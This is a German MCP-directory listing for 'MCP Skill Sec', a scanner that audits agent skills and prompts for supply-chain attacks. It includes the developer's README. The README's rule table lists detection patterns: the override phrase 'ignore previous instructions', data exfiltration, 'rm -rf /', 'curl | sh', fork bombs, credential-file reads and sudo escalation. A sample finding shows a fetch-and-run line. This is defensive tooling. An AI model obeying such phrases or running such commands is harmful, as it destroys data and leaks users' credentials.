MCP Skill Sec

Name: MCP Skill Sec
Author: sudo-ai-git

von sudo-ai-gitVersion 1.0.0i★ –iLäuft auf deinem Computer

Name in der Registryio.github.sudo-ai-git/mcp-skill-sec

Installieren

Überblick

Beschreibung vom Entwickler (englisches Original)

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

Die drei Säulen von PopNx MCP

Diese drei werden nie zu einer Punktzahl zusammengefasst: Meinungen, Messungen und Beliebtheit sind verschiedene Dinge.

Stimmen der NutzeriNoch keine BewertungenBewertungen starten in einem späteren Schritt zusammen mit Benutzerkonten
Unsere Basischecksi1 von 1 bestandenAnhand öffentlicher Informationen geprüft; Code noch nicht gescannt
NutzungiNoch nicht gemessen★ –

Was du damit machen kannst

Für diesen Server haben wir noch keine Zusammenfassung in einfacher Sprache geschrieben. Unten stehen die Fakten, die wir aus der Registry gelesen haben.

Verbindung: Läuft auf deinem Computer
Transport: stdio
Kategorie: Suche & KI-Gedächtnis

Installation

Wähle die KI-App, die du nutzt, und kopiere die Einstellungen.

Bevor du installierst

Basischecks: 1 von 1 bestanden
Läuft auf deinem Computer mit den Rechten deines Benutzerkontos (Dateien, Netzwerk, Apps).
Die Registry nennt keinen Schlüssel zum Eintragen.

Du brauchst

PyPIuv für Python installiert (für den Befehl uvx)

Welche App nutzt du?

ClaudeClaude CodeCursorVS CodeChatGPT

Wähle oben deine App. Wir merken sie uns, damit der Button beim nächsten Mal „In … installieren“ anzeigt.

Öffne Claude Desktop → Settings → Developer → Edit Config und füge dies in claude_desktop_config.json ein

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Führe das in deinem Terminal aus

claude mcp add skill-sec -- uvx mcp-skill-sec

In Cursor öffnen

Oder kopier die Einstellungen selbst

In .cursor/mcp.json in deinem Projekt oder in ~/.cursor/mcp.json einfügen

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

In VS Code öffnen

Oder kopier die Einstellungen selbst

In .vscode/mcp.json in deinem Projekt einfügen

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Dein Browser fragt, ob er die App öffnen darf, dann zeigt die App die Einstellungen und bittet dich um Bestätigung. Schlüsselwerte bleiben leer, damit du sie selbst einträgst.

Dieser Server läuft auf deinem Computer, und ChatGPT kann sich nur mit Servern im Internet verbinden. Wähle eine andere App.

Deine Auswahl bleibt in einem Cookie auf diesem Gerät; kein Konto nötig.

Diese Einstellungen werden aus dem Registry-Eintrag des Entwicklers erzeugt. Wenn in der README etwas anderes steht, folge der README.

Was er kann

Läuft auf deinem Computer; die Tool-Liste erscheint nach der Installation in deiner KI-App.

Basischecksi

Wir prüfen Informationen, die jeder sehen kann; den Code haben wir nicht gelesen. Checks, die nicht zutreffen, werden nicht mitgezählt. · Geprüft am 6. Nov. 2026

✓ Bestanden
Entwickler passt zum Repo
Der Registry-Name wurde mit dem GitHub-Konto sudo-ai-git bestätigt, dem das Repo gehört
… Noch nicht geprüft
Wird noch gepflegt
Dieses Repo haben wir noch nicht von GitHub gelesen
… Noch nicht geprüft
Hat eine Lizenz
Dieses Repo haben wir noch nicht von GitHub gelesen
– Nicht zutreffend
Endpunkt antwortet
Dieser Server läuft auf deinem Computer; es gibt keinen Endpunkt im Internet
– Nicht zutreffend
Anmeldung mit OAuth
Läuft auf deinem Computer und nutzt stattdessen lokale Einstellungen
… Noch nicht geprüft
Keine versteckten Anweisungen in Tool-Beschreibungen
Läuft auf deinem Computer; Tool-Listen können wir nur von Endpunkten im Internet lesen

Im Vergleich mit anderen in Suche & KI-Gedächtnisi

Mehr Sterne als 0 % der anderen 7243 Server in dieser Kategorie
Neuer in der Registry veröffentlicht als 34 % der anderen 7243 Server in dieser Kategorie
Basischecks gleich gut wie oder besser als bei 100 % der anderen 7243 Server in dieser Kategorie

Verglichen mit allen aktiven Servern dieser Kategorie in der Registry. Sterne zählen nur, wenn dem Herausgeber das Repo gehört.

Häufige Fragen

Ist MCP Skill Sec sicher?

Er hat 1 von 1 zutreffenden Basischecks bestanden. Den Code haben wir nicht gelesen. Bevor du einen Schlüssel oder Token hinzufügst, sieh nach, welche Zugriffe der Server verlangt, und nutze einen Schlüssel, der nur die Berechtigungen hat, die du brauchst.

Welche Schlüssel oder Codes braucht er?

Die Registry nennt keinen erforderlichen Schlüssel, manche Server bitten dich aber bei der ersten Nutzung, dich anzumelden.

Läuft er auf meinem Computer oder in der Cloud?

Er läuft auf deinem Computer. Deine KI-App startet ihn bei Bedarf, und die Daten laufen nicht über die Server des Entwicklers (außer der Server ruft selbst einen Onlinedienst auf).

Wird er noch gepflegt?

Das GitHub-Repo wurde zuletzt – geändert, und die neueste Version (1.0.0) kam vor 2 Monaten in die Registry.

Welche Apps können ihn nutzen?

Apps, die MCP unterstützen, etwa Claude Desktop, Claude Code, Cursor und VS Code. Außerdem brauchst du Python (uv) auf deinem Computer.

Was kann ich stattdessen nutzen?

In derselben Kategorie: Context7, Codebase Memory, Exa

Alternativen

Server derselben Kategorie von anderen Entwicklern, sortiert nach Sternen.

So liest du eine Karte:★ GitHub-SterneiDrei Säulen: Bewertungen · Checks · NutzungiAktualisiert = neueste Version in der Registry veröffentlichti

Context7

von upstash

Up-to-date docs for AI agents

Computer oder Cloud★ 64.224MITAktualisiert vor 3 Tagen

Installieren

Codebase Memory

von DeusData

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

Läuft auf deinem Computer★ 48.148MITAktualisiert vor 20 Tagen

Installieren

Exa

von exa-labs

Connect AI agents to Exa for web search, content fetching, and multi-step research.

Läuft in der Cloud★ 5.213MITAktualisiert vor 44 Tagen

Installieren

README vom Entwickler

README öffnen

Unverändert aus dem Repo des Entwicklers übernommen. PopNx MCP hat den Inhalt weder geprüft noch empfiehlt es ihn. HTML, Bilder und Skripte wurden entfernt. Links führen von dieser Website weg.

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \	sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.

MCP Skill Sec

Überblick

Die drei Säulen von PopNx MCP

Was du damit machen kannst

Installation

Bevor du installierst

Was er kann

Basischecksi

Entwickler passt zum Repo

Wird noch gepflegt

Hat eine Lizenz

Endpunkt antwortet

Anmeldung mit OAuth

Keine versteckten Anweisungen in Tool-Beschreibungen

Im Vergleich mit anderen in Suche & KI-Gedächtnisi

Häufige Fragen

Alternativen

Context7

Codebase Memory

Exa

README vom Entwickler

mcp-skill-sec

What it scans for (rules R1–R8)

Tools

Install & run

then register with your agent:

Claude Desktop / agent config

Example

Part of a family

License & provenance

Official MCP Registry metadata

Hire a custom integration